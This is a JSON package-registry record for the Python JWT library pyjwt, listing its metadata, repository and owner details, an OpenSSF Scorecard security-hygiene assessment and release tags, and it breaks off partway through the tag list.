{"id":2874279,"name":"pyjwt","ecosystem":"pypi","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"license_expression":"MIT","repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["json","jwt","security","signing","token","web"],"namespace":null,"versions_count":58,"first_release_published_at":"2011-02-24T21:51:08.000000Z","latest_release_published_at":"2026-09-28T18:40:41.000000Z","latest_release_number":"2.15.1","latest_published_release_number":"2.15.1","last_synced_at":"2026-12-04T18:22:11.640498Z","created_at":"2022-04-10T12:14:13.189307Z","updated_at":"2026-12-04T22:23:13.409043Z","registry_url":"https://pypi.org/project/pyjwt/","install_command":"pip install pyjwt --index-url https://pypi.org/simple","documentation_url":"https://pyjwt.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","Natural Language :: English","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.15","Programming Language :: Python :: 3.9","Topic :: Utilities"],"normalized_name":"pyjwt","project_status":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-11-30T21:57:17.000Z","size":1398,"stargazers_count":5733,"open_issues_count":81,"forks_count":853,"subscribers_count":58,"default_branch":"master","last_synced_at":"2026-12-01T01:29:43.509Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-11-30T04:37:39.000Z","dependencies_parsed_at":"2026-12-01T01:29:45.730Z","dependency_job_id":"086281e9-d19d-43fc-963f-67588a672c54","html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":52,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"funding_links":["https://github.com/sponsors/jpadilla"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":355588341,"owners_count":38755099,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"online","status_checked_at":"2026-12-01T02:00:07.513Z","response_time":119,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@openfga + @auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?u=46012a23427994c3de6f022319a842f919d95d77\u0026v=4","repositories_count":233,"last_synced_at":"2026-12-03T21:35:41.220Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12301,"followers":1437,"following":418,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2026-12-03T21:35:41.237Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.15.1","sha":"7d5ef55e42ce42221f58dc49943e92ccad1fa66a","kind":"tag","published_at":"2026-09-28T18:30:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.15.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.15.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.15.1"},{"name":"2.15.0","sha":"1d41a6478e1562e68ff667fcd703356acf085f68","kind":"tag","published_at":"2026-09-23T16:09:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.15.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.15.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.15.0"},{"name":"2.14.0","sha":"c6fe464b356ff4b1ebc9ba62172d331a40aa27df","kind":"tag","published_at":"2026-09-11T12:59:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.14.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.14.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.14.0"},{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.13.0"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.12.1"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.12.0"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.11.0"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.10.1"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.10.0"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.9.0"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.8.0"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.7.0"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.6.0"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.5.0"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.4.0"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.3.0"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.2.0"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.1.0"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.0.1"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases/2.0.0"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.